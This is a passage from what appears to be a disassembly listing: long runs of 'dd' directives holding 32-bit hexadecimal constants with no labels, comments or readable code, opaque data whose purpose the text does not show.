929F2394h, 422034F2h, 38EF142Bh, 4F8F97BFh dd 10005B91h, 1830F68Eh, 0C32A6A12h, 0B2B82821h, 7A0402Eh dd 0EB744ACFh, 0E8A9D50Eh, 1405E139h, 0C7C8388h, 4C30F2BDh dd 0AA6113FDh, 3F00BFB0h, 7CDA9479h, 2CDCA047h, 4A960001h dd 0AD0B2E27h, 3EF89C2Ah, 0F12F5505h, 0A0C460B2h, 45888CCEh dd 9148C8C0h, 0F4D803D9h, 0B2C2DADFh, 0B8C81DAAh, 0BA2ED20Dh dd 2D869810h, 1EB9B52Eh, 4FF89CDh, 9074997Eh, 238337A4h dd 0F2E20800h, 14D2F093h, 2590B66Fh, 0A6914817h, 305B5581h dd 5C22A3h, 9493CB2Ah, 25C24B25h, 4CA259F4h, 20B4096h dd 7A6564h, 425AC29Fh, 699D6496h, 56E55B20h, 0E8E0C174h dd 0F2A30067h, 2680B256h, 444C4E10h, 80C8B8FAh, 3BEDBD6Ch dd 0EA960FE8h, 0C84E6286h, 95D5D360h, 0BA120EC9h, 5C0BED1Eh dd 0E5D44481h, 0F4701418h, 1131A223h, 87653A15h, 426123F4h dd 0C92BDE11h, 3C0B8832h, 0D4A028DBh, 83EC35Dh, 5FC6C48h dd 0CFAA9C56h, 0B6F5DC06h, 6F481431h, 11AC407Eh, 1FA4EA8Ch dd 8701C84Ch, 0A7B6D128h, 5960BDE1h, 0D22861C0h, 0FEEE9C40h dd 816A2F12h, 27E258A2h, 98406C30h, 0B21FFE64h, 0B4094980h dd 0C840CB96h, 3685C146h, 0A9A07B8Ah, 42F2149Eh, 72C1F04Bh dd 33EA29C6h, 3052A2D8h, 7B01C5E0h, 0C6B8544Ch, 2EE0E78Eh dd 0B6F809CBh, 0C800ED0h, 5DD278B9h, 0E4BE8090h, 26465Eh dd 3EB59EAEh, 9452892Bh, 0E12F01D0h, 71C82106h, 0E4C83588h dd 5202809Fh, 26C616AAh, 4EC560Bh, 0BC6AA4A0h, 0B5272F38h dd 0CEA988B4h, 144E0409h, 0B6690BACh, 0C2045C4h, 59843D2Bh dd 0B04A8524h, 4C3A4D93h, 0DD004723h, 946BA1DFh, 0C82406A2h dd 0D01B9B86h, 891B890h, 3551AC01h, 52CE43BBh, 9C9A2C34h dd 3C1D6980h, 0C281C011h, 30CE7934h, 1D3AE838h, 0A38B1D38h dd 333BEA45h, 90A44009h, 5FB8888h, 0F07B1AB0h, 0C3C402A2h dd 0B45C6B1Ch, 9096EA89h, 9F27194h, 0C343AA98h, 0F9E8A418h dd 7426E909h, 7950D964h, 3F921858h, 0F28BAFA5h, 0D802B583h dd 2E02BC72h, 74A4444Bh, 0E205000Eh, 0A8C0FE6h, 160983ADh dd 0C57E7368h, 600FC430h, 61120Ch, 0CB36C00Dh, 0EDB28B98h dd 0BD44B00Fh, 0B40E3235h, 497B063Eh, 2F146D8h, 0C753EC81h dd 1F8CE779h, 62EC006Ch, 9BCF5C4Fh, 4916090h, 0FA1847D1h dd 0E1786E0Eh, 0A6952279h, 41DCA0D2h, 56C7A3Ah, 80ABA43h dd 278098FCh, 465CCC96h, 71ED0052h, 6A1EFE70h, 0C31B037Bh dd 0BC59892Ah, 65E05388h, 0A17DB303h, 90570E68h, 15D55DBh dd 480D589Ah, 5414BBh, 4866F349h, 3E09B43Bh, 0A288B3h dd 60CCD02Dh, 6C3DBC2Ch, 700C5352h, 0CE00B2E6h, 0D369E8EEh dd 0B5B56DE2h, 4291601Fh, 13CF0480h, 63004F54h, 5D3CA8D2h dd 9148F42Ah, 4E1611DCh, 3D23382Fh, 0F630B204h, 13C5C888h dd 1F42C336h, 2B9C4488h dd 894B879h, 5181B86h, 8FAE75E9h, 0C10E88CCh, 4006983Ch dd 0D104BE93h, 0ED554000h, 0AEFA6D4Ch, 0DA0E0053h, 0E0AD4FFCh dd 7F6F39A5h, 72B481B0h, 0A60F3D0h, 4EA37826h, 0C810CBB8h dd 2C89C057h, 0C972B912h, 98AADC28h, 4676109Eh, 2F7C000Eh dd 0B565D4CCh, 5EC50706h, 7145F42Bh, 3499DE2Ch, 0BD0589ECh dd 0C736C3B0h, 0B4A27095h, 0A2BC0775h, 8F7ECCC2h, 1CA73740h dd 0E602C464h, 0FD8DE379h, 204CC451h, 0F883124Fh, 0C808CBBCh dd 55E0C052h, 0C6247843h, 0C10B61AFh, 299090A4h, 1D703AA2h dd 2E82EB00h, 12F00BD4h, 209604B0h, 777CC940h, 6A27019Dh dd 50B4DF2Dh, 0D5CAE078h, 476D4427h, 60A64434h, 7C2D1E06h dd 0E05705B8h, 0C07DD00Fh, 4DB9C764h, 0E4B327B0h, 7942C009h dd 45A55Ch, 4161A664h, 0F6D44136h, 94C104B1h, 0B0592B63h dd 93A82C79h, 41E01700h, 4E4530E2h, 29A40078h, 524F2E51h dd 0AE25112Bh, 0F2BC02DFh, 0F2730455h, 30A6E200h, 31008AAEh dd 0C33EB2BAh, 484E9C28h, 10E8CCA9h, 0CA7A008Ch, 1B9DF196h dd 7D004928h, 0E8F99C79h, 134841BBh, 4A3E612Bh, 40C4CCA0h dd 4F11E2B2h, 96F90380h, 20A413F8h, 0FD0E6EA4h, 0A3BF7F09h dd 7078D322h, 0A0081AEh, 0E92FB01Dh, 5AE7F10Ch, 37983854h dd 2C363B44h, 92E05E8Ch, 0E0E897A5h, 1873EFFFh, 0D2A00105h dd 0CCA850DAh, 248CC3ECh, 4D90BB7h, 0BC7D1EE4h, 0E33CC258h dd 89858D5h, 0ABC93D5Ah, 0AE0E4D0Fh, 763FA56Ch, 6EB46080h dd 488675C2h, 0EE003C0Fh, 31EC4159h, 4D4FC1F4h, 5823883Bh dd 0FCAD0800h, 48C82A5Ah, 0BE117491h, 778E0BD0h, 21944825h dd 6A1084BBh, 9B8CB310h, 0F958F2F1h, 8C44FC34h, 8BDB3500h dd 38AB3B97h, 71E09092h, 0C9E58054h, 1C467926h, 0B8807C2Eh dd 86C706D8h, 0A817624Fh, 0B45E1596h, 0F8E03A45h, 0B42A0610h dd 91A94F57h, 0C216A3FEh, 0FC4238FEh, 6408C3h, 0A048707Bh dd 2085049Ch, 0D8E0DFADh, 0A43F12ECh, 0BB184902h, 0CB44CC72h dd 34BA13B2h, 0B9988569h, 8CC0A868h, 2D1C960Bh, 3D0885E5h dd 4C79447h, 1B8FA300h, 2E4B0095h, 0EC5D1D9Fh, 0E600BC09h dd 793F9377h, 5B5E2BDFh, 0DBC40F1h, 85189788h, 83143B04h dd 98D25C09h, 0C0D0CD81h, 0DAA594F0h, 47D6B901h, 0BE01FCC4h dd 0DC2DE181h, 0DC63FF9Eh, 0C71CFBC1h, 726488DFh, 0A327E30Fh dd 0EA2A4873h, 7958F1E5h, 29481847h, 16909ABCh, 4C64F3F6h dd 8CA7B828h, 12D5FB3Eh, 0C804909Eh, 7CB86AF9h, 21C03193h dd 0CE2FFCC7h, 7DE6CC00h, 9B1C915Fh, 92731E10h, 8EC58575h dd 5A08B8ABh, 9888FC80h, 80AE022Fh, 0A72A2CB6h, 0B49E745Ch dd 81B39E08h, 51A09D3Bh, 0A29C2395h, 9A5A3045h, 513E4224h dd 8FBF5301h, 0C078C4A0h, 58ECA848h, 9247018Ch, 9181FFF6h dd 0CE0C30D5h, 7FB4A940h, 282B4126h, 0E72780B8h, 97679799h dd 3A91D09Dh, 41F3EB83h, 6B45FEC9h, 0FAE0F800h, 54995DABh dd 0ECFC423h, 87183764h, 9E3C1DC0h, 9DB2F2h, 898D6FF0h dd 8BCB032Bh, 0EE12304Eh, 8F74D0B8h, 5CE688D3h, 0E0082EE1h dd 0B9093C46h, 0F126D3DBh, 185C715Ch, 209812C8h, 0A36CA4E4h dd 21A6CA10h, 8BED3C13h, 0C124C80Ch, 6FCB744Ch, 383D3804h dd 885BF4EDh, 81200A3Ch, 0D154B1AFh, 75391853h, 33920182h dd 0F72AABA3h, 7C8C3043h, 0A5399496h, 11E09728h, 7DC9835Ch dd 2E8C88B6h, 38C91B4h, 4B21A330h, 30F5282Ch, 0BE7C1D2Fh dd 0AC00046h, 0B3016B5h, 7C382585h, 34641801h, 0E24C30CFh dd 8D0652Eh, 0A0A35C12h, 76303BE2h, 0C21D5BF9h, 0DCDE7E08h dd 0A70205D6h, 2CF476Ah, 0F88835E4h, 0F1A37A23h, 402E010Fh dd 2ADC99A4h, 974EEB08h, 9427D0CCh, 51465CF4h, 0A27FC00h dd 0AEF8BF21h, 10A84648h, 6C25527Ah, 0F3C0286Dh, 316F0F5Ah dd 7250A142h, 83CA004Ah, 8244023Dh, 0D5893F26h, 5E80E4D4h dd 0FC64B67h, 8D103E7h, 0A438641Eh, 0B6DB40E8h, 2DF05D49h dd 454CE662h, 746E7A64h, 0CCEA3F03h, 0CBB065E7h, 5209809Eh dd 4062ED2Bh, 0BD496654h, 9300303Dh, 9895F84h, 4FA700A5h dd 0B58DC816h, 8BB7C10Bh, 0C360ED8Ch, 63B0121Ch, 0CB0B2AC8h dd 84EB339Bh, 74B09570h, 0A8960A87h, 10BC9F18h, 0CE3C0B31h dd 58645381h, 0D91D07E2h, 3E4EBA59h, 0E02C8BD2h, 7A37B54h dd 633236F0h, 0BC11F4CAh, 4BEA15B8h, 0B2437BD0h, 82949A4Eh dd 0DE510C33h, 978F60A8h, 0CC58BE95h, 2CBDA470h, 0A000B3A8h dd 115B5C34h, 4C4BD422h, 48176C54h, 9E54D13Fh, 4CAC0432h dd 0F26CA2D2h, 0C7F93015h, 9E4F9B06h, 9018A003h, 0F57B99h dd 27A82426h, 686B422Dh, 34EC4E00h, 47167688h, 2A73010Fh dd 0BB641454h, 9C08306Bh, 0DC9DCC2Eh, 9244674h, 0C1DD51B1h dd 74694830h, 9298274Bh, 1512435Dh, 98261130h, 5E3AF220h dd 6ED8D143h, 0A862A8h, 2795863Bh, 0D11292h, 0D405FDE6h dd 49BCA01h, 0F08EAF12h, 217E5C04h, 7B3DE342h, 0E2B0A255h dd 0AC7B0B33h, 3B1F1E70h, 0BB005012h, 5742EAF2h, 83137FE3h dd 24B4B0B8h, 0FDAB047Bh, 0F20809AFh, 30C3F250h, 3E07E180h dd 929CE75Bh, 53DC9009h, 0BF77019Ah, 0EC972116h, 10842BB4h dd 58E18DBh, 2AB8DC42h, 58A82C5Ch, 81EF620h, 422CDA9Ah dd 0C0EEA43Eh, 4318F974h, 121B7400h, 8F5071C5h, 6084B464h dd 14DAFC2Dh, 60FC6D95h, 0B65AFCEEh, 2A362D04h, 0C2AF45F4h dd 0CDE4A9Bh, 524676h, 3E791331h, 121C5864h, 0C80CF5B4h dd 7BE03480h, 59EB660Fh, 3104C0C8h, 0B8EE8DEAh, 0DF39096Fh dd 0E8CF2Bh, 0F01C818Bh, 6901985Fh, 94BAB2BEh, 34540C64h dd 0AAF8DDC1h, 5523502Fh, 5C4F7E02h, 0C1FC89DAh, 9F004100h dd 4D27FBCAh, 11181D6Dh, 368980AEh, 39B3ACFh, 6AB8A712h dd 49A22C5Ch, 568028B5h, 77ECB5EFh, 5AC01C71h, 219689D5h dd 0A2F93820h, 0DD050F60h, 0E01D3B07h, 9B93D4E8h, 688F8094h dd 2F596BA1h, 0DE762B4Eh, 2875F305h, 2A3AC3h, 15238779h dd 51F4A25h, 88DAA903h, 0DBF0B1B8h, 0AD7F80E1h, 1F8266Dh dd 0BE3740B4h, 44039232h, 1CCD62EEh, 7C1DE07Fh, 4D22017Eh dd 590730EFh, 0A052C63Dh, 0F589A13h, 6110FC1Ch, 7BA02E93h dd 396A078Ch, 633DDD2h, 2700919Fh, 0B8BE2B49h, 8C8D3Fh dd 47A069D0h, 0C6E8A695h, 0D430465Ah, 0BEE4AE72h, 3A465EC8h dd 554BB901h, 31A1DFC1h, 0B04AE21Ah, 0E7580453h, 74961271h dd 0D395006Fh, 0AAF27909h, 89126896h, 4FDCF4h, 1486DF2Fh dd 0A4B6D0B3h, 789F1231h, 493B8F2Eh, 0FCF161F8h, 18C9C15h dd 8CB545C7h, 30809756h, 690CB2Bh, 0F8F6CA61h, 11C81FBDh dd 998A8027h, 616B3666h, 0CE34801Eh, 28FFE143h, 5CA4C0B4h dd 1C39C78h, 35252E63h, 686EE0E3h, 2A433C1Ch, 5617B040h dd 4045FE8Ch, 80A465A6h, 0E721C030h, 0C8D10E61h, 586C3100h dd 0EF94ED7Bh, 8CA516CEh, 0F3EF1636h, 2CB606CCh, 4B51BC6Ah dd 237C3E9Dh, 44E401C1h, 7098222Bh, 4B5A6068h, 2FF5A044h dd 34A84908h, 386B102Dh, 54B6B87Ch, 25AA01Ah, 4CAF98F4h dd 6876F14Eh, 13BD9B80h, 0FA77D4CDh, 0C1B60BD5h, 0A580D375h dd 0C3BF9EF5h, 566A1502h, 0A2A386A4h, 0DE8542E8h, 221DDC50h dd 6DC0EF38h, 2A4B2063h, 1290BC51h, 30740204h, 0D85115F7h dd 64EC4525h, 218A6057h, 0E8B601A8h, 7CB352BEh, 238C405Eh dd 0E295BAFAh, 61A07E30h dd 0DB06C343h, 1379182Dh, 0F6769814h, 0D2F10032h, 2AFB538h dd 9400F816h, 0C03DC3AEh, 0F4DB9C5h, 413EF346h, 40E14A4Fh dd 0C4DD22BDh, 676EBC78h, 12A36308h, 2EE598BAh, 514600F6h dd 0DCAC2A5Dh, 30F1B2F2h, 4238B92Ch, 0CBE31D88h, 0A3BD9F03h dd 3B083390h, 0C76321h, 5D7729F3h, 8659E500h, 9BCBD94Eh dd 1C8A00F1h, 0CD2B5F56h, 6F0FA3EFh, 0E74376FAh, 0B940522Ah dd 0D93D22h, 0EED87C7Dh, 7F60469Eh, 10EB9D74h, 37DF11Fh dd 3147CB2Ah, 19004D2Bh, 96AE9DDEh, 4F76C3h, 0F701B21Eh dd 446024CCh, 3CA6B618h, 0CC9DD28h, 3FF578BAh, 0E7009311h dd 2E2A7B05h, 66C25166h, 21AF08FEh, 5CF7D07h, 6B502808h dd 0C291EDCCh, 47B202C8h, 696FC05Dh, 0DF3B01E7h, 0BAC8FF19h dd 0E2304893h, 2A880508h, 40AEC4D6h, 6905CA82h, 6EC63A67h dd 6392A0E4h, 2A85D8E1h, 730187FEh, 0F38905C9h, 0A853CFC8h dd 0D69E88h, 2A5AE7FEh, 0B0F866A6h, 8E8D31CEh, 340A80BAh dd 0F2EA03h, 0EFC1B2DEh, 5304F6A9h, 0A4217306h, 0E89099h dd 4D3B0F34h, 0A6519139h, 226A4B02h, 0B0CE4377h, 117DD6DCh dd 88C6D87Fh, 0EE948144h, 2216C17Dh, 1CED232Ch, 0CBD8047Bh dd 233D6260h, 0D2808388h, 0C1EABE5h, 0F280FC41h, 4E20D679h dd 0A3CD0930h, 30109D71h, 0A40C805Eh, 40DECE3Ch, 5BC1B73h dd 94E42096h, 23602B3Ch, 0E841033Ah, 23D8BD33h, 0DC5019DEh dd 64917720h, 1B184479h, 0AA1228F8h, 4C3A11CEh, 0BF079923h dd 6280210Ah, 1E04B70Dh, 9333EF5h, 0F42E4B83h, 128099E0h dd 960313D5h, 863A3F30h, 17A6A331h, 78FF21h, 0BE7B76E4h dd 5601263Ch, 83B92B9Ch, 0DFCA47Dh, 3FF61238h, 0DA740A47h dd 0E84508B8h, 1F30E209h, 8096117Ch, 5253B801h, 0EE79002Ah dd 0DA12D27Ah, 8EF09C73h, 954A60C6h, 0AA900A9h, 72898AF6h dd 0D2399BD1h, 0F5E1948Dh, 0E0C046E8h, 0C22B18h, 0A59B5948h dd 646074F8h, 3100977Eh, 2A7AE73Ch, 29CA895Bh, 11F44275h dd 7DD580CFh, 8CCED880h, 934744h, 914E7DEDh, 0E41B030Bh dd 88DA6A26h, 0E1EBB23Ch, 1B312094h, 5B00845Fh, 866FC232h dd 2F47FE9h, 0A65D0BFBh, 884A4982h, 9265C002h, 237BC003h dd 0DB00C999h, 7ED87A7Dh, 6068919Dh, 0B17DF31Dh, 29E03Ah dd 8E38E70Ah, 34A4085Dh, 0CE69323Fh, 0C1378800h, 0FAF88644h dd 0D0E2F4A7h, 49667B83h, 0AD3918E6h, 3B43DB2h, 277339D1h dd 0F1682363h, 0E404871Ch, 3A6280CBh, 878F8423h, 8F2A07Fh dd 62D25161h, 8E5B7197h, 0FDC0A8A0h, 0F00E139h, 43507217h dd 0F28A5Ch, 3A0BDA4Ch, 0A4308C87h, 0E381C100h, 0D151BE01h dd 40BA60DEh, 3CDB172Ah, 0CC587C9Ah, 168A8120h, 18852E93h dd 951DC421h, 941D6Ch, 24A9927Bh, 4C6EB52h, 0DE3948h, 4F81BAD2h dd 8D257013h, 0B7032B77h, 0B0F32641h, 9765E924h, 0C1293980h dd 2B5AC468h, 20D0E937h, 0A9AF0BC0h, 10EB6F40h, 0A219EE8Ch dd 490E4300h, 0F05A0F9Ch, 3EFD018Eh, 0DB1FEC67h, 33028670h dd 0C31E4D2h, 3D812D72h, 127FAF80h, 88E783Eh, 1274818h dd 0A87B44B0h, 0C7A070FBh, 95A5B419h, 21811808h, 0C5A88367h dd 8DB1F44Dh, 3580FE50h, 58DCFBB8h, 6548641h, 0B5ECCB58h dd 0E3DC0227h, 0B11AFFEh, 0EAF02D60h, 6C4FE0C3h, 3F970B2h dd 1D707163h, 480E3121h, 99E19CA5h, 0DE39B60h, 5535EC28h dd 885C0B89h, 0B924C01Ah, 3518D1D5h, 8A682EA9h, 5F783CCBh dd 98E43818h, 115EB6Ch, 0B8530Dh, 5D732232h, 19942EC9h dd 826D128h, 9121803Eh, 0C672731Ah, 83AA00F7h, 25A7093Dh dd 0B92835DFh, 0CA06802Bh, 0B3938424h, 5E9000F1h, 58292113h dd 3133E736h, 1C60868h, 1356F221h, 41347B99h, 31A49A4h dd 0DB38D15Fh, 5DC9A883h, 18282E51h, 1A468840h, 0F9A87902h dd 19318DADh, 0A8816510h, 710CC47Dh, 192A2BECh, 0B5D414AFh dd 6A00BC95h, 0D53E5E4Fh, 8CA785F3h, 93603B44h, 6100A892h dd 0B6B54B7Ch, 6C99F8Ah, 0EC728483h, 0B01EF12Ch, 320C70FCh dd 28541126h, 469C0A7Fh, 135F0283h, 31602920h, 57F310C4h dd 0D0380413h, 91D5CF33h, 80C0927Ch, 41C97E21h, 382BBFB4h dd 381C7AA9h, 0B7AC0029h, 85652EDAh, 91F0A000h, 0B0117349h dd 0E7EA3159h, 0D8FDCB49h, 0CC28727Ch, 0F4669048h, 721E108h dd 5FE80526h, 0CAF5703Bh, 0CCA72F8Ch, 5F601B44h, 59087805h dd 580DD0h, 96230424h, 2BE6C770h, 362AFD04h, 8033F9h, 146D0DD1h dd 0D4035F83h, 1D010623h, 0F6C96273h, 98884718h, 35732E15h dd 33943A7Fh, 67B09CCCh, 0F800E2EAh, 0E4288E47h, 117A776h dd 461ACAF4h, 0DA3402F2h, 0B8083464h, 7453D1Dh, 313C7863h dd 0F1D271A1h, 33F0249Dh, 31C3D671h, 0CC414570h, 99490D06h dd 6DA5291Dh, 13239B80h, 2604CD86h, 146BEE2Bh, 1623AC71h dd 0FDA87D01h, 1E186DADh, 856988h, 0A1DD72A8h, 0B22293E1h dd 4D2D710Ch, 199F913Eh, 31284B80h, 7A44224h, 11731C30h dd 88FEC963h, 14978045h, 4C0D873h, 23DB3100h, 0B8A92DFBh dd 852C98E9h, 6747C428h, 7532CD21h, 90581F4h, 5ACF361Eh dd 61858C04h, 29FD1361h, 10C731D6h, 0FA1359F5h, 0FF4F0063h dd 0DF911F04h, 8098B010h, 600A7978h, 0AC93DB54h, 1908C424h dd 0D4B10725h, 5702B28Bh, 87E18846h, 0C35D2002h, 406C8922h dd 0CC448150h, 45211608h, 0F7C35500h, 0C083E4F1h, 0BD8B0005h dd 7FA0B9Dh, 7607BE90h, 5077C40Fh, 0EE85211h, 0BBB63B80h dd 743B1958h, 201F7A00h, 41F32BE7h, 0F2AC0CCh, 5F585A31h dd 0E49005A1h, 767C98Dh, 40C6A5Ch, 3E82857h, 0C35F3957h dd 887C8911h, 57478014h, 0B5039EC3h, 2416C929h, 59875111h dd 4C8922C3h, 41101531h, 0E802C351h, 0E995FFD0h, 5225852Bh dd 0C35A2321h, 8C5489C8h, 7421D44h, 352AC352h, 0E9C5A048h dd 753A4D3Fh, 250CB03Ah, 0D8B817h, 1546BE1Fh, 8E4C0FA0h dd 9D8D2702h, 97FDD711h, 8514913Ch, 0D604572Fh, 5E010D7Dh dd 0C5FFB70Fh, 555291D3h, 17F20394h, 73A33F30h, 0BD230CDAh dd 89561F39h, 1D259D18h, 0DFE8B0Ch, 104985FFh, 88DF0E10h dd 92BDC019h, 97002645h, 43A9BFFEh, 20E97E78h, 0E86E087Bh dd 815D002Fh, 12EF9EDh, 0C7BE07FEh, 0EC014918h, 239219BDh dd 2CC3D07Dh, 0F665860Fh, 0B5290C0Ch, 9DB51CB9h, 0C0CC530h dd 70815E53h, 8429DFE3h, 5D1BE1B5h, 11E4988h, 850FDB0Bh dd 7408C2A6h, 232000D6h, 0E16C8417h, 2533BD33h, 0B1835E05h dd 0D4B12D06h, 813584B8h, 0B5895139h, 288513E5h, 489CE95Fh dd 5BC35341h, 5C8991C3h, 43831123h, 5EF6C353h, 19890644h dd 5C27B185h, 4288DAC7h, 0BE00B886h, 27315B9Ah, 79D460E9h dd 8C1BE824h, 0F4EBA50Eh, 36CA9D65h, 0A90AAE98h, 35CD3D16h dd 1DC8DF4Eh, 3FB9B6C1h, 6DFA2E8h, 63D7420Eh, 55206C50h dd 8D5F292Bh, 5666B2FFh, 0E4C35E30h, 22744689h, 5646001Ah dd 931896C3h, 7B00163Bh, 0A7CF81D3h, 0EC03397Eh, 89FF4823h dd 505CC873h, 91C358C3h, 1C184489h, 504088h, 0F98AF4C3h dd 52DD3D7Ch, 0BEF85E31h, 6F071F75h, 0DB8C6600h, 450C3F6h dd 0B78B3EE6h, 660D38CFh, 28D226BFh, 10A50C65h, 9014F33Dh dd 929A800Fh, 5C62DE5Fh, 4D0401FFh, 0D1A254C8h, 8705E9D1h dd 3678D61Fh, 0DBC17A74h, 98919050h, 2DE91859h, 0E47BF7Dh dd 0B0616E9Bh, 0BDB53301h, 60249229h, 8151A010h, 9E8A68Eh dd 0D0051380h, 0D398761h, 0F7AF2603h, 0D05FEF8Ah, 6070E6h dd 0DE24FFBEh, 77E1811Eh, 7D0A461Fh, 1D71E4C9h, 0C019114Ah dd 162391E3h, 29CEC453h, 70AB100Eh, 7C816688h, 294A7BD7h dd 0D1EBD8B6h, 7A1818h, 5A1C0D7Fh, 9DE68160h, 86D5A83Eh dd 235D8D89h, 8B610476h, 9F06BAF7h, 2E2893B4h, 40DDB003h dd 70B08B18h, 0C6310860h, 610537h, 6E94BBA2h, 4797CE81h dd 5E0B3902h, 4704E8C1h, 61154490h, 0F7C466B4h, 0C462A5E2h dd 9B9A6018h, 2DED0E10h, 2E899589h, 570F2029h, 0F050648h dd 0D2300587h, 22CF7AF6h, 8D912B61h, 0D181C71h, 4A507107h dd 0C28E1DF6h, 90880FBEh, 34B50BC7h, 17C32D1h, 29241CDCh dd 168B728Dh, 4025B5FFh, 0C08C9B30h, 857124C8h, 1DBD0C30h dd 1920952Dh, 35017E10h, 90C2F5Dh, 7708F899h, 1B465C61h dd 0BEBCFC03h, 71A84CC5h, 8A6E0F31h, 37E40F21h, 0DA13AD6Fh dd 0B71220E9h, 0A61EEA0Eh, 3CC013FCh, 2F830F61h, 8E1ED402h dd 8C1DE8h, 0B4B564B3h, 75ACBFA4h, 66DA2312h, 58B98615h dd 8C1AE885h, 798CB700h, 3401722Dh, 0E589520Fh, 0B5109058h dd 9B75316h, 0C5EFC51h, 92F97C91h, 78439B80h, 5BFEE14Dh dd 0F53EAD1Ch, 92168D8Fh, 30B9C504h, 0BFAF0412h, 2E9394F3h dd 0F1C2371h, 26C0CB50h, 61DAE570h, 9BA1697Bh, 6082215Fh dd 2FF01D2h, 11649758h, 72DA801Ch, 1289E198h, 1371A916h dd 60411AECh, 1338E82h, 15C45567h, 0F591C160h, 22B984A9h dd 0BE661231h, 1CC34C11h, 8107C183h, 6BD040EFh, 0B8D93B09h dd 14F55DECh, 0F41F74F8h, 9B016E7Ch, 71B77B2Ah, 0E7EDE720h dd 0A1120405h, 0B8021311h, 24C1F6D9h, 0BD8941B3h, 18421659h dd 6C31EA09h, 0FA0B48BAh, 8100BF49h, 3E5E80C6h, 32C45B5Ah dd 2B0434D1h, 88B5CEC3h, 0AAE2C019h, 0FA2CE14Bh, 0A11A26A9h dd 759C4085h, 343D8025h, 8849084Ah, 0C4604754h, 0F86A601Bh dd 299E3A0Ch, 0E144512h, 7D10ED33h, 5F2AE934h, 1D23672Eh dd 0F8936700h, 2DBD0BFh, 0CCA76ABEh, 64AC08Bh, 7AF3CE8Eh dd 0E2E90E08h, 8DC6605Ah, 4985C7AEh, 33078F19h, 0E41A6341h dd 0E73400Dh, 1C0B318Eh, 8F9C8FD9h, 7AEDC539h, 0A273238Eh dd 8BCE301Ah, 0B4F00D01h, 0D681A2B1h, 4BD783E0h, 855D387Dh dd 0BF413060h, 3D583836h, 15D1FF57h, 18887C4Eh, 0A1A5A9C0h dd 9AEB58ABh, 6C21DE0Bh, 775B5D32h, 0A9EE70h, 0FDCF11F9h dd 2A7187E9h, 0A5607090h, 0D989BF57h, 7D4A5951h, 0AFBCA491h dd 0D6B23B01h, 9056055Ah, 14A23E33h, 60E80530h, 0A9951313h dd 3A004436h, 1B086468h, 171CB8h, 52E3D057h, 8918DED4h dd 7505B524h, 5A0E5F9Ah, 20ED9887h, 810315B1h, 852503D7h dd 2D0C0465h, 8E4BBBA1h, 0C01D88B7h, 13A289B5h, 5D117702h dd 600AB38Dh, 8001853Bh, 7D20B533h, 28297628h, 54492495h dd 0A0E9B399h, 0F6D777Dh, 7D7AE2C9h, 882BAE40h, 4301015Bh dd 0E0DE2CD3h, 78EAE366h, 602340F6h, 0F79D8EFh, 0B510679Ah dd 0E82C21C1h, 0A567409Dh, 0C607EBDFh, 0D9958B2Fh, 356D910Bh dd 945B4998h, 6181298Dh, 16A25F23h, 4D917430h, 4C7807EEh dd 16E8335Fh, 0D088188Ch, 18D190EAh, 38CCE980h, 80C8FFF7h dd 288C15E8h, 209BDFC4h, 6A980D55h, 1B3A70E9h, 0CF305689h dd 701D417Dh, 5E126858h, 80D0E95Fh, 50DB32h, 77B7D1B4h dd 0C18BAFA5h, 0D7CEBE01h, 4EB6B2Bh, 0E4B067C2h, 761F6018h dd 1296E2CAh, 0C851F08Bh, 4FB0F2BEh, 0DA9AD506h, 617C5AA0h dd 858DA0F3h, 90382499h, 2020534Bh, 34977BBh, 0A79412FBh dd 30715146h, 0EE905031h, 0F4222D11h, 3706E918h, 590BAA28h dd 470B9E1Eh, 601964D3h, 1273A2Dh, 0BE7907EFh, 42229D46h dd 6D7986BCh, 0C461423Dh, 0DAFE38E8h, 0C18068D8h, 961C65E7h dd 52936050h, 8E34FF30h, 0FCF1007Fh, 0D1FD47A4h, 0BBF673DEh dd 66310F00h, 5A1CF8BFh, 89610058h, 0F0BE2404h, 126936AFh dd 298C62CEh, 11741D7Eh, 5C0C8216h, 8045D9F3h, 1373EE81h dd 15B60A11h, 41164DE9h, 84F774F6h, 87425E24h, 2210087h dd 0AE2C219Dh, 99A4BEC0h, 22B656E2h, 9164676h, 64766282h dd 22F0123h, 0B1D28087h, 0C51F6C90h, 0F9A34DE9h, 1238F284h dd 1C23A53Ah, 7C6AE506h, 0E3E00B1Eh, 918BA622h, 1ED1176Ah dd 52545BE4h, 0A8C1BE8h, 0A2CD83E3h, 93E91777h, 0CBB85693h dd 4E0091D4h, 10A070BBh, 4C4312F8h, 212DB85Ah, 0BF6D0B89h dd 0D95905C2h, 0B19A669h, 636620CDh, 7A608A44h, 10DC9E9h dd 3B038500h, 4801E3A6h, 8BF81CCBh, 7238898Dh, 8260611Ch dd 3778BD83h, 4B1356D9h, 1B234B3Fh, 0D7E42300h, 0D823285h dd 50E91D7Ah, 0C06D5B21h, 48A7B6DDh, 8D2E171Fh, 0B0F61A86h dd 50A46CD1h, 1324DD08h, 829324E9h, 1893F7DCh, 3BE5784h dd 890C4E78h, 3517EDF9h, 3DD61D2Ch, 63A841h, 7E59CAAFh dd 2DBD03E1h, 24682741h, 0A50E60CBh, 0E852A03Fh, 53761FD8h dd 489DB280h, 1ECD775h, 0DC800234h, 6C615E7Bh, 0A2985314h dd 26D3018h, 229A4D16h, 968F34C8h, 15467C1Dh, 1A0B6627h dd 0BE040044h, 10E94948h, 0C320AA4Eh, 0F3133EA3h, 643B2900h dd 737C47BDh, 65175B72h, 88838D66h, 1F25990Ch, 50FB4990h dd 0B7CBDF0Bh, 0BC48DB2h, 906442BEh, 6FE08BE6h, 50245CBh dd 0C1F56377h, 0A5B1418Fh, 312683ACh, 91B0F851h, 6007087Fh dd 89698529h, 70E6A721h, 0C0AC490Fh, 714BE4F9h, 700CD6Eh dd 3C8EB3B1h, 0EB6205E1h, 916F994h, 4046A4C2h, 33452100h dd 8FFF958Ch, 0FD901CE2h, 3F2D4274h, 0BF4706BAh, 36015E4h dd 6CE98B38h, 8C14F820h, 830F4B12h, 0F2C91561h, 0E918963Ch dd 0DA0D190Ah, 0EFACF900h, 414662B2h, 0D82B2EA9h, 0E902DEE2h dd 0F5693A3h, 0F505E48Ch, 1C8DD48h, 0A45F76DAh, 7084DFB8h dd 8B056673h, 8E0F93FEh, 0A4EC141Eh, 423D4B0Fh, 5BFC5E10h dd 0D69FA6AFh, 7ECBD214h, 1C2CC0DFh, 0F89C6B8Bh, 447704D0h dd 0C4A614B5h, 48B0A308h, 7B093572h, 3524501h, 564E5B5h dd 0A03F905Eh, 14096038h, 1B0EB1BDh, 615A6D22h, 6862F148h dd 1D465461h, 8F5BDE00h, 494BB20Eh, 32F77716h, 0E08C4316h dd 